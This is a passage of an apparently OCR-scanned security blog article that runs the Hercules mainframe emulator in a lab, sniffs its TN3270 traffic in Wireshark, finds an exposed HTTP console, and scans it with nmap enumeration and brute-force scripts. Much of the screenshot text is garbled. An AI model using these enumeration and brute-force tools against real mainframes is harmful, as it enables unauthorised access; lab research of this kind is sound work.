Ok, at this stage we can see that Wireshark is able to grab the connection between our Windows
host and Windows VM. Let’s continue, now we’ll click connect to check what we can see in
Wireshark:


https://mochasoft.dk/tn3270.htm

D1 ITrg

M “Ethemnet

Edit  View Go Capture Analyze Statistics Telephony Wireless Tools  Help

® RE ] &= =qqamn

filter . <Cr

Time Source Destination Protocol  Length Info
15 3.182839 192.168.1.18 192.168.1.59 TCP 6@ 58689 = 3278
16 3.152682 192.168.1.59 192.168.1.18 TCP 54 3278 + 58689
17 3.153842 192.168.1.18 192.168.1.59 TCP 6@ 58689 = 3278
18 3.284611 192.168.1.59 192.168.1.18 TCP 54 3278 + 58689
19 3.287481 192.168.1.59 192.168.1.18 TCP 1855 3278 + 58689

_____ 2@ 3.248481 192.168.1.18 192.168.1.59 TCP 6@ 58689 = 3278

Ar - mmnaan anm aro 4 s anm aro 4 an —rn e

Frame 1: 6@ bytes on wire (480 bits),
Ethernet II, Src: ARRISGro_fa:df:da (44:aa:f5:@a:df:da), Dst:
Address Resolution Protocel (request)

6@ bytes captured (488 bits) on interface \Device\Nl
Broadcast (ff:ff:ff:ff:ff:f

& checkmf
File Edit View Tools Help
ARARMBLE. I & (@ Clear Erase PA1 PA2 PA3 EraseF (b

aa 6@ 08 68 @

Sniffing is stopped now. Let’s see what do we have:

137 192.168.1.59 192.168.1.1& TCP /A 3278 = SAR39 [S\"N, J\CK] Seq=8 Ack=1 Win=8192 Len=8
324 192.168.1.18 192.168.1.59 TCP BB 58689 = 3278 [ﬁ\[l{] Seqg=1 Ack=1 Win=525568 Len=@
762 192.168.1.59 192.168.1.1& TCP 57 3278 » 58689 [PSH* ACK] Seq=1 Ack=1 Win=65536 Len=
Q52 192.168.1.18 192.168.1.59 TCP BB 58689 = 3278 [PSH* ACK] Seq=1 Ack=4 Win=525568 Len|
817 192, . Len=s
213 193, ‘ Wireshark . Follow TCP Stream (tcp.stream eq 0) - Ethernet — O = g Le
262 192, 6 Le
1458 192, [eevenanannsnnaas IBM-3278-3- 68 L
e e [ = B.@B. ... [T z . ... K. A

e e T ....Q-- 0000080008z - - ----- - Mm@ _
bytes on win ‘%“:.::::::::::‘?“%’@@@@@@Z';:::::::?:.:::::J@:iz;{s‘?’@@@‘@@@@@@@@@@@@@z """ . Gacaansese. . 6ae o Fres

sres Intelll | 6 @eae.. . 15,5 . . GREEAEAEDD. -

btocol Versiol | aaag. . .REAGGEE00. - . -00. GOGOEAE00G0. - -AE0AG00ER- - B0. - . 0. -696...0.90.0.6900.. .80 -
n Control Pro| | GOGOGOEEEER. .. ... .....-.... (80.6866. 60. 6 . 6660.60.0. 6666. 666 ... . 0G0G0GEE8EE. .. .......... |

e 80.0086.0.00-0000.09.0.0

060 GEOERED. . 0. . . 0B0EOA0REE. . .00, . - -0.00-60. . .€0. .@0. .. 0....@.....

660- - - 0EOEEEREEE- - - - - . . 0006OE0GEE- - - - - - - ; @@@@@@@@@@@@@@@ @

-@-k@- - -@@--}-@-@ ----------- @. .ZP. GOOEOEOEEER. . .- .- . - - BT - e e@een e @ . . .0

Ok, looks like an excellent example for a release of our ‘scapy adventures’ scripts in one of the very
next Notes Magazine|[2]... ;) But for now, let’s try here (with another encoding):


https://code610.blogspot.com/p/mini-arts.html

[T9Z I68. I. 19 T9Z.T68. .59 TCF bE SEEBY = 3279 [F5H, ACLK] Seq=1 Ack=# Winj
192, -
109, ‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - Ethernet - [m|
192.
192 ] aeeeeaes ff fd 18 -
ann apeaeeee T fb 18 sac
eoeepeee3 ff fai1B8el1 fff¢ L.
i apeaeaas T fa 18 @@ 49 42 4d 2d 33 32 37 38 2d 33 2d 45 ---.1IBM- 3278-3-E
eaeaeals T fe o=
=L eeeeepes ff fd 19 ff fb 19 ...
rsiol | geeeesls ff fb 19
LPrI eppeRals ff fd 19
oopoeoer ff fd e@ ff fbee L.
@aeeeals ff fb ee
@aeeealE ff fd ee cos
/0000015 5 42 11 40 48 1d 60 c8 85 99 83 a4 93 85 a2 40
/00@8025 o5 B5 99 a2 39 96 95 40 48 Ja 11 40 d4 1d e8 f3
80668635 4b f@ f7 11 c1 5@ 1d 68 c8 96 a2 a3 48 95 81 94
80660645 85 40 40 40 40 40 48 46 40 48 7a 11 cl ed 1d e8
20088855 c4 c5 e2 d2 e3 d6 d7 6@ c8 T6 c4 c6 e2 e3 T8 11
2ReEEE6E5 c2 60 1d 68 c8 96 a2 a3 4@ d6 =2 48 48 48 48 48
T e4 [REBRET75 48 40 40 40 48 40 7a 11 c2 4 1d =8 =6 89 95 84
8 =@ T £o  an £4 a4 .z £o a4
6 66| SciEn ks 5ssrverphes 8 wms.
1@ B2 | | Entire conversation (1055 bytes) w Show data as | Hex Dump w Stream
Find: | [ Findn
Filter Qut This Stream Print Save as... Back Close Hely

Cool. By the way: take a look around for the Show data as option:

oo I Ioos I TorsTouUTEs TeT o oo = =TT

—eg—= WL E T OO T

Bowler, Jan Jaeger, and others..

27 e? 36 cf e4
a cy 48 @@ 88
6 @1 Bc cb 66

9782 192.168.1.59 192.168.1.16 TCP 57 327@ - 58689 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=3
9952 192.168.1.18 192.168.1.59 TCP 68 58689 + 3278 [PSH, ACK] Seq=1 Ack=4 Win=525568 Len=3
ealy 192.168.1.59 192.168.1.19 TCP 6@ 3278 + 58689 [PSH, ACK] Seg=4 Ack=4 Win=G5536 Len=6
8213 192.168.1.18 192.168.1.59 TCP 72 58689 » 3278 [PSH, ACK] Seq=4 Ack=16 Win=525568 Len=18
i 198 M Wireshark - Follow TCP Stream (tcp.stream eq 0) - Ethernet — O w [t
B458 192. 68 Len=3
lan1 o 101 la

........... B......(-3278-3-..0..c.ciuiuunannnnnnananaaB..  .-Hercules Version :.
5 bytes on wir H.Y3.97.A&.-HOS1.: name E.AU.YDESKTOP—HEDFST’B.B—.-HOS‘t 05 :.B4.YWindows_NT-6 FF69A6B},
S mec 2.08.-Host Arch]..tecture :.DD.Yi686.E .-Processors t.EM.YUP.F&. -Chanl Subsys
* 3 :.FU.Y@.G-.-Device number :.G4.Y@B1F.HO. -Subchannel :.ID.Y®884.HO. -.. .-..&.-
rotocol Versiof |y HHH  The 5/37@, ESA/390 and z/Architecture.<-.- HHH HHH
on Control Prof Emulator. (8. - HHH HHH. | .- HHH HHH EEEE RRR CCC U n

UL EEEE 555.8&.- HHHHHHHHHHHHHHHH ~ E R RC U ulL E Z-1)=-5

HHHHHHHHHHHHHHHH EEE RRR C u UL EEE 55.K8.- HHHHHHHHHHHHHHHH  E R

R C U vlL E S.M .- HHH HHH EEEE R R {CC UU LLLL EEEE

S55.N8. - HHH HHH.O-. - HHH HHH.P®. - HHH

HHH My PC thinks it's a MAINFRAME.R .-.!&.- Copyright (C) 1999-2818 Roger

6 Ba B8 68 B2
& client pkis. 5 server pkts, & fums.

Entire conversation {1055 bytes) - Show data as | EBCDIC ~ Stream
Find: | | [ Findwext |
Filter Out This Stream Print Save as... Back Close Help

So what do we have here? [5]



https://en.wikipedia.org/wiki/EBCDIC

© & nttps;//en.wikipedia.org/wiki/EBCDIC B -9 YN @O @

(4]

From Wikipedia, the free encyclopedia

This article needs additional citations for verification. Please help improve this article by
adding citations to reliable sources. Unsourced material may be challenged and removed.
Find sources: "EBCDIC" — news - newspapers - books - scholar - JSTOR (January 2019) (Learn how and when to

remove this template message)

2 Compatibility with ASCII

3 Code page layout

4 Definitions of non-ASCII EBCDIC controls
5 Code pages with Latin-1 character sets

6 Criticism and humor

Extended Binary Coded Decimal Interchange Codel'l (EBCDIC;("1 /' ebs1dik/) is an eight-bit EBCDIC encoding family
character encoding used mainly on 1BM mainframe and |BM midrange computer operating Classification 8 bit basic Latin encodings
systems. It descended from the code used with punched cards and the corresponding six-bit (non-ASCGlly
binary-coded decimal code used with most of IBM's computer peripherals of the late 1950s and | preceded by BCD
early 1960s.[ It is supported by various non-IBM platforms, such as Fuijitsu-Siemens' R
BS2000/0SD, OS-IV, MSP, and MSP-EX, the SDS Sigma series, Unisys VS/9, Burroughs MCP
and ICL VME.
Contents [hide]
1 History

|Entire conversation (1055 bytes) vl Show data a5 Stream
Find: | | [Fndnext |
Fiter outThisstream| | print | | saveas.. || Back | [ cose || Hep |

Understood. But for now — we should be somewhere here...




Few examples
Let’s get some few very basic ideas:

|HAB: TERM

GMNECTED, 0001 2IRRREWEVC 040-23-3

instcount=¢

We'll go back again to start from the basic menu. ;) Our help-advisor will be the ‘?’ character:



Let’s look closer to the few of the available options - here we go:

e o P
] Contents Hercules System/370, ESA/390, z/Architecture Emulator
] Figures
Tables
. Preface Hercules - User Reference Guide
. Related Publications Versian 3 Relsase o7

. Hercules Configuration File

System Parameter Descriptions

. Device Defintion Descriptions

. Hercules Console

. Console Command Descriptions

. Hercules Utiities

. Shared Device Support

10. Hercules 3270 Logo

11, Starting the Hercules Emulator

12. Submitting Jobs via the Socket Read
- Appendix A: Supported DASD Device Ty
=8 Appendix B. Syntax

Appendix C. Links

-

kS

H H- -t
O P NO LA WN R

- -1E

o o s

Don't worry, it’s only 478 pages[6]. ;]

Let’s start from the very basic command called version. You should see a similar results:

dw store_duw

Command
CPUBBBB PSL

Next? | will leave the fun part (read as: checking each command from the documentation ;)) for you
as an excercise ;) Let me know if you’ll have a questions or an interesting ideas about ,,some
commands” ;)

More?


https://hercdoc.glanzmann.org/V311/HerculesUserReference.pdf

No more examples
Reason is pretty simple: ... let’s not make it easier to malware creators, right? ;)

So — maybe a good start is presented on this page[7]:

O a https://github.com/samanL33T/Awesome-Mainframe-Hacking

Mainframe Penetration Testing & Security.

Special thanks to @mainframed767, @bigendiansmalls, @ayoul3__ and many other researchers for all their work in this
field.

Contributions are welcome !

Table of Contents

® |BM zSeries
© Books

© Tutorials
o Scripts & Tools
© Presentations & Talks
o ACF2 Specific references
o Misc
® |[BM iSeries
O iSeries Books
o Tutorials & Checklists
o Tools

© iSeries Presentations & Talks

o Miscellaneous

Let’s say — today we will not talk about the possibility of taking over the mainframe server (internally
and/or externally — or as a malware attack during our APT projects&scenarios[8]... ;) you name IT).

Let’s stay here for a while to check resources already publicly available:

1 Scripts and Tools

® TN3270 Clients - X3270

¢ Multipurpose Nmap Scripts
O tn3270-screen.nse

O tso-enum.nse

O tso-brute.nse

C vtam-enum.nse

O lu-enum.nse

O cics-enum.nse

O cics-info.nse

O cics-user-brute.nse

O cics-user-enum.nse

Maybe you'll find it useful.


https://github.com/samanL33T/Awesome-Mainframe-Hacking
https://code610.blogspot.com/p/contact.html

It’s a wonderful world
Today | decided to start both VMs prepared for this small article: Windows 10 and Kali Linux. We
should be somehere here:

H C\Program Files\Hercules\Hercules 3.07 (32 Bit)\hercules.exe

Bit)\html\"

Wait a second... what ,HTTPROOT directory”? ;> Checking:

d i « Hercules » Hercules 3.07 (32 Bit) » html

o~

ccecs Marme

2| hercmstc.html
P 2| hercmste.htrnl
loads 2| hercmstm.htrml
nents 2| hercmsts.htrmnl
e 2| hercmstt.html
s 2| hercmstu.html

2| hercrmsvm.html
fe 2| hercnew.html

And indeed — it looks like there is a webroot directory. It was a surprise for me (but this is a result of
not-reading-the-fantastic-manual ;) So...) Listening port(s) we should think about during our internal
pentests?

ENING

Ok, it looks good. Let’s try to visit our HTTP server:



< C @ O Z 192.168.1.10:8081

Tasks Hercules System Log
System Log No SIGABEND handler
IPL Regular ExXpressions support

Automatic Operator support

Machine dependent assists: cmpxchgl cmpxchg4 cmpxchg8 fetch_dw store_dw
Debugging Running on DESKTOP-HEDFSTO iflindcwsiN’{‘fﬁ.Z iese up

HHCHD018I Loadable module directory is hercules

Crypto module loadsd (¢) Copyright Bernard van der Helm, 2003-2010

Registers Active: Message Security Assist

Storage Message Security Assist Extension 1

Miscellaneous Message Security Assist Extension 2

Devices HHCCF065I Hercules: tid=00000B3C, pid=2864, pgid=2864, priority=0

HHCHTOO0L1I HTTP listener thread started: tid=000006A8, pid=2864
HHCHT013I Using HTTEROOT directory "C:\Program Files\Hercules\Hercules 3.07 (32 Bit)\html\"
HHCHT006I Waiting for HITP requests on port 5081
. HHCTEOOLI Console connection thread started: tid=000004E4, pid=2864
Configuration HHCTEOO03I Waiting for console connection on port 3270
HHCTT002I Timer thread started: tid=00000740, pid=2864, priority=0
CPU HHCCP002T CPUOOO0 thread started: tid=000009R4, pid=2864, priority=15
j— HHCCPO03I CPUQO00 architecture mode ESA/390
HHCPNOOLI Control panel thread started: tid=00000B3C, pid=2364

Version Info

fetar HHCAO001I Hercules Automatic Operator thread started;
Registers tid=00000864, pri=0, pid=2864
GPRs Command: | Send
CRs
PSW
Auto Refresh | Refresh Interval:
Information Only show last lines (zero for all loglines)
Documentation

Uh... ;] So there is no need to use a super console window to access it like it was 19907 ;> Well. Cool.
We can see that there is even a field to send Command. At this stage | decided to switch to Kali and
run few quick tests against my Windows host:

erate

d on mainfr
nse ai e_bru h r, th Cl"lpt
rce a mainframe

vtam-enum.r )
vtam-enum.r ( ithub. cc 'mainframe_|

Let’s try... (I wasn’t sure why there is no interesting output so | oppened one of the NSE scripts and
added a port 3270/tcp) like below:

@ root@kali: /usr/share/nmap/scripts




Ok, now we should be here:

HHH C @ and chitecture
HHH HHH Emulator
HHi HHi
HHH HHH CccU UL EEEE
HHHHHHHHHHHHHHHH U UL E
HHHHHHHHHHHHHHHH U utL EEE
HHHHHHHHHHHHHHHH C U utL =
HHH HHH .‘ UU LLLL EEEE
HHH HHH
HHH HHH

HHH ] C thin \TNF

ight (C) 1 r, Jan Jae

ical unit:

canned in 1.4

accounts found

Ok. I will leave it to you to check all the other possible scripts available in nmap’s directory. Have fun!



Responsibility
,You have your weapons now”.

Attacking mainframes is difficult. It’s simple in the same time. But it’s simple when you’ll understand
mainframes.

So the real case is: would you like to understand mainframes to get some knowledge about
interesting, esoteric IT systems? Or you are ,bad guy” and IT will hunt you...? ;]

,We will hunt you — all of us.”



Future episodes
Maybe soon. For now... I'm looking for a new job*. ;)

*And as | believe sometimes there is a little bit misunderstand of what is ,the job” for me - let’s make
IT clear:

- it is not: a place to spent time without your family/kids, not a place to get fresh&free fruits or
multiple espresso, it’s also not a place to make dates or cheat your wife/husband or play Starcraft or
other F@cebook/mobile games;

- IT is: a place where | can do a pentests/research, learn it and/or developt it to help ,,us” increase
our knowledge about the security as-is. Sometimes with other people like me, sometimes alone,
remotely.

Let’s make IT simple: if you like my (way of doing the) ,job” — feel free to ping me here or @twitter. ;)



https://code610.blogspot.com/p/contact.html
https://code610.blogspot.com/p/contact.html
https://code610.blogspot.com/p/contact.html
https://twitter.com/CodySixteen
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OUTRO

Well, ,,Woe to you, oh Earth and Sea”... ;]

At this stage | would also one more time like to thank all of you who wrote to me with the few words
of feedback. | appreciate it. It was a nice point of view for me to deduce and | didn’t realise that
someone can look at words | published online in this-or-that way. It was an interesting. Thank you.
Lesson learned so conclusion(s) should be visible soon too.

See you next time! ;)

Cheers


https://twitter.com/CodySixteen

